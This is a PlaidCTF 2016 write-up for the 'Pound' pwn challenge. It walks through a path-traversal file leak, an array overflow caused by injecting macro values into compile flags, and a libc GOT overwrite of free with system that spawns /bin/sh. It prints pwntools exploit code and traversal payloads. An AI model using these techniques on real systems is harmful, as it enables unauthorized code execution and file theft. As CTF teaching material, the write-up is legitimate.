Tower of Hanoi

PlaidCTF - Pound 290

by on under PlaidCTF
17 minute read ·

Trump top tweets and money simulation machine! Do you have enough to build a wall???

The only file provided is this server script written in python listening for connections on port 9765. After a quick look we understand the script is accepting a pair of arguments used to compile a C source file and later forking in the fresh compiled binary. To download the source file the script also provides a handy read_tweet() function easily exploitable to our favour:

 
def read_tweet():
    print "Read the top 20 tweets by Trump!"
    print "Enter a number (1 - 20)"
    tweet_number = raw_input()
    time.sleep(5)

    try:
        with open("tweets/{0}".format(tweet_number), 'r') as f:
            print f.read()
    except:
        print "Invalid input!"
#
#
#
# later in the code we have:
ret = subprocess.call(["clang", "-m32", "-DL1={}".format(input1),
                        "-DL2={}".format(input2), "pound.c", "-o",
                        sim_name])

Pretty easy to see that asking for tweet ../pound.c would end up in leaking the real challenge source code.

Lets give a look to the core function of the python script:

def run_sim():
    print "Trump's money simulator (that makes america great again) simulates two different sized states transfering money around, with the awesome Trump algorithm."
    print "The simulator takes in 2 inputs. Due to the awesomeness of the simulator, we can only limit the input to less than a thousand each..."

    input1 = raw_input("[Smaller] State 1 Size:")
    input2 = raw_input("[Larger] State 2 Size:")
    if len(input1) > 3 or len(input2) >3:
        print "Number has to be less than 1000"
        return

    str_to_hash = "[]{0}[]{1}##END".format(input1,input2)
    sim_id = hashlib.sha256(str_to_hash).hexdigest()
    sim_name = "sims/sim-{0}".format(sim_id)

    if os.path.isfile(sim_name):
        print "Sim compiled, running sim..."
    else:
        print "Compiling Sim"
        ret = subprocess.call(["clang", "-m32", "-DL1={}".format(input1),
                        "-DL2={}".format(input2), "pound.c", "-o",
                        sim_name])
        if ret != 0:
            print "Compiler error!"
            return

    os.execve("/usr/bin/sudo", ["/usr/bin/sudo", "-u", "smalluser", sim_name], {})

This accepts two inputs with len <= 3 in order to compile pound.c (using clang) loading them in L1 and L2. Here is key to notice the script doesn’t check whether the input is numerical or not.

Now we analyzed pound.c source code and checked how we could use this consideration to our advantege. Without getting into much detail the program sets up a structure called global_s

//number of citizens state_1 and state_2
const int l1_len = L1; 
const int l2_len = L2;

#define STATE_SIZE_LEN 512

struct global_s{
    int s1_citizens[l1_len]; //array containing gold amount for state_1 citizens
    int s2_citizens[l2_len]; //array containing gold amount for state_2 citizens
    char s1_name[STATE_SIZE_LEN]; // Name of state 1
    char s2_name[STATE_SIZE_LEN]; // Name of state 2
    char *announcement;
    int announcement_length;
    int secret;
} global;

containig information about two foreign states and allows us to transfer citizens’ gold by propagating it from the bottom to the top of the array (or viceversa) or randomly swapping it trough states (refer to source code).
L1 and L2 are used to define the citizens’ number of each state and we can force the assignment of l1_len and l2_len in something like: const int l1_len = 3+2;, const int l2_len = 1;1;, const int l1_len = 3*2;, const int l2_len = 3%2; etc, just by passing this arguments to the python server. This doesn’t seem very usefull but let’s keep looking..

The propagate_backwar(int k) and propagate_forward(int k) functions are revealing:

void propagate_forward(int k) {
    // Somewhere total_length will be used :), with some buffer or heap
    int length_diff = L2 - L1;
    int i,j;
    
    for (i=0; i < L1-1; i++) {
        // At random, swap money to keep circulation of money 
        if (rand() % 2) {
            int tmp = global.s1_citizens[i];
            global.s1_citizens[i] = global.s2_citizens[i];
            global.s2_citizens[i] = tmp;
        } 

        // Propagate forward s1
        if (global.s1_citizens[i] >= k) {
            global.s1_citizens[i] -= k;
            global.s1_citizens[i+1] += k;

            // If we reach a bankrupt person, 
            // give him the money
            if (global.s1_citizens[i+1] == k) {
                return;
            }
        }

        // Propagate forward s2
        if (global.s2_citizens[i] >= k) {
            global.s2_citizens[i] -= k;
            global.s2_citizens[i+1] += k;

            // If we reach a bankrupt person, 
            // give him the money
            if (global.s2_citizens[i+1] == k) {
                return;
            }
        }
    }

    for (j=0; j < length_diff; j++) {
        // Propagate forward s2
        if (global.s2_citizens[i+j] >= k) {
            global.s2_citizens[i+j] -= k;
            global.s2_citizens[i+j+1] += k;

            printf("%d:0x%x\n", i+j+1,global.s2_citizens[i+j+1]);
            // If we reach a bankrupt person, 
            // give him the money
            if (global.s2_citizens[i+j+1] == k) {
                return;
            }
        }
    }

}

As we can see the propagation is done simultaneously until L1 is reached ( main() imposes s2_citizens >= s1_citizens ) and then continues for state_2 till lenght_diff is reached. Good, having something like 9;1 in L2 and 2 in L1 will force our program to believe lenght_diff = 9; and later execute 1 - 2; instruction (which is useless but still valid), making the second for loop overflow s2_citizens array. With this solid vulnerability the exploit starts developing around the possible use we could make of char *announcement;. If we could overflow global structure (saved in .bss) and reach this pointer arbitrary read/write is basically achieved trough the use of functions print_states()(for reading) andcreate_announcement ()(for writing):

void print_states () {
    if (global.announcement != NULL) {
        printf("PSA: %s\n", global.announcement);
    }

    printf("\nState of the world!\n");

    // Macros are beutiful aren't they...
    PSTATE(1);
    printf("\n-----------------------\n");
    PSTATE(2);
}


#define ANNOUNCEMENT_MAX_LEN 1024
void create_announcement () {
    int len;


    printf("Enter the length of your announcement: ");
    len = get_number();

    if (len <= 0 || len > 1024) {
        printf("ERR: Invalid Length\n");
        return;
    }

    if (global.announcement_length < len) {

        // Use new buffer
        remove_announcement ();
        global.announcement = malloc (len);

        //printf("Malloced %p\n", global.announcement);
        if (global.announcement == NULL) {
            printf("ERR: Failed to allocate announcement\n");
            return;
        }
        global.announcement_length = len;
    }

    // Re-use available buffer
    if (fgets (global.announcement, len, stdin) == NULL) {
        printf("Failed to read announcement\n");
        exit(-69);
    }
    global.announcement[strcspn(global.announcement, "\n")] = 0;

}

Since both char s1_name[STATE_SIZE_LEN]; and char s2_name[STATE_SIZE_LEN]; varibales separates us from reaching the announcement pointer, we need to find something pretty bigger than 9 to reach it. Good enough we can use global variable const int N = 1024; to do the trick. Did our math and found two possible assignments for L1 and L2 : 258 , N;k. With this in mind we developed the idea of the two basic primitives as follows:

def read_at(address):
	amount = address
	initialize_citizens(amount) # using void init_states(int k) -- option 1 in void menu()
	propagate_forward(amount) # pushing our address value in the first 4 bytes of char s1_name
	initialize_citizens(0) # sets the arrays to 0, address is now only in char s1_name
	for(i in xrange(256)):
		propagate_fw(amount) # our address is moving forward reaching char* announcement
	leak = extract_leak(print_states()) # void print_states() actually prints *announcement
	return leak

def write_at(what,where):
	amount = where
	initialize_citizens(amount) 
	propagate_forward(amount)
	initialize_citizens(0)
	for(i in xrange(256)):
		propagate_fw(amount)
	create_announcement(what) # using void create_announcement() to write at *announcement

With this two basic primitives the attack strategy is pretty easy:

  1. We leak at free_in_got to get free_in_libc_at_runtime
  2. We calculate the offset from libc to obtain system_in_libc_at_runtime
  3. We write system_in_libc_at_runtim at free_in_got
  4. We create an announcement containing /bin/sh\x00
  5. We call remove_announcement(), this will trigger system(/bin/sh\x00)


Ok, we got the basic idea, now we have to apply it. We still face a couple issues:

  1. We need the libc used by the remote binary to calculate system_in_libc_at_runtime
  2. We need the exact binary compiled by the remote host to know free_in_got, since our version of clang could compile a different one (we found out this was the case).


Leaking libc is not a big deal, we still have the read_tweet() function on our side. We can use it on something like ../../../../lib/i386-linux-gnu/libc.so.6 ( we already had it leaked from a previus pwning challenge but verified this worked aswell). To leak the binary the procedure was slightly more difficult since the file name was choosen according to:

 
str_to_hash = "[]{0}[]{1}##END".format(input1,input2)
sim_id = hashlib.sha256(str_to_hash).hexdigest()
sim_name = "sims/sim-{0}".format(sim_id)

if os.path.isfile(sim_name):
    print "Sim compiled, running sim..."
else:
    print "Compiling Sim"
    ret = subprocess.call(["clang", "-m32", "-DL1={}".format(input1),
                    "-DL2={}".format(input2), "pound.c", "-o",
                    sim_name])

We made a custom script to download it:

from pwn import *

r = remote("pound.pwning.xxx", 9765)
print r.recvuntil("Quit\n")
r.sendline("1")
print r.recvuntil("20)\n")
str_to_hash = "[]258[]N;k##END"
sim_id = hashlib.sha256(str_to_hash).hexdigest()
to_send = "../sims/sim-{0}".format(sim_id)
r.sendline(to_send)
binary_data = r.recvuntil("1. Read Trump article")
f = open("binary", "w")
f.write(binary)
f.close()

That’s it, the exploit will do the job! To get a better understanding on how it works and how something more of the pseudocode written above was needed I’m gonna explain some steps in detail, also refer to comments in the file for a deeper understanding:


First step:

 
def first_step(address):
	fake_address = address + 100
	initialize(fake_address)
	propagate_fw(fake_address)
	initialize(0)
	p = log.progress('Propagating_fw')
	for i in xrange(256):
		p.status("prop " + str(i) + " of 256")
		propagate_fw(fake_address)
	propagate_fw(100)
	p.success("Finish")
	conn.sendline("0")
	conn.recvuntil("PSA: ")
	data = conn.recvuntil("State")
	conn.recvuntil("Choice:")
	leak = data[4:8]
	leak = unpack(leak, 'all', 'little', False)
	log.info("Fgets in libc: " + hex(leak))
	#LIBCOFFSET
	free_in_libc_at_runtime = leak
	system_in_libc = free_in_libc_at_runtime + system_offset
	log.info("System in libc: " + hex(system_in_libc_at_runtime))
	what = (p32(system_in_libc_at_runtime) + p32(leak) )
	conn.sendline("4")
	conn.recvuntil("announcement:")
	conn.sendline(str(len(what)+1))
	conn.sendline(what)
	conn.recvuntil("Choice:")

Here the function takes in input the free_in_got address and before propagating it up to char *announcement adds 100 to later move this into int announcement_length. Then leaks the free_in_libc_at_runtime address, calculates system_in_lib_at_runtime using the offset obtained from the leaked libc ad writes it into free_in_got


Free pointer step:

 
def free_pointer(address):
	p = log.progress('Propagating_bw')
	for i in xrange(260):
		p.status("prop " + str(i) + " of 260")
		propagate_bw(address)
	p.success("Finish")
	initialize(0)

After a little debugging we found out that just “dragging” amounts into announcement could cause some problem since values would get summed up in an unwanted way, so we defined a procedure to “drag back” the value into the “legit space” (int s2_citizens[l2_len]) and purge it away by reinitilizing everything to 0.


Second step:

 
def second_step(address):
	initialize(address)
	propagate_fw(address)
	initialize(0)
	p = log.progress('Propagating')
	for i in xrange(256):
		p.status("prop " + str(i) + " of 256")
		propagate_fw(address)
	p.success("Finish")
	what = "/bin/sh\x00"
	conn.sendline("4")
	conn.recvuntil("announcement:")
	conn.sendline(str(len(what)+1))
	conn.sendline(what)
	conn.recvuntil("Choice:")

Similar to the first one, puts a valid bss address into announcement pointer and writes /bin/sh into it.


Final step:

 
def final_step():
	conn.sendline("4")
	conn.recvuntil("announcement:")
	conn.sendline("1000")

Calling option 4 (void create_announcement()) and passing a bigger size than 100 makes the program free the old announcement and trigger the call to system("/bin/sh").


Testing:

  • Compile binary: clang -m32 -DL1="285" -DL2="N;k" ./pound.c -o pound
  • Open binary with disassembler. Extract free_in_got address and find a valid_bss_addr far from where the global structure will be allocated.
  • Modify this information in the pwnpound.py script.
  • Modify LIBCPATH according to your system.
  • Comment out python_step() used to connect to the python server.
  • socat tcp-l:4000,reuseaddr,fork exec:"./pound"
  • python pwnpound.py

~ marcof

PlaidCTF, Exploitable, return to libc - .got overwrite, 2016
comments powered by Disqus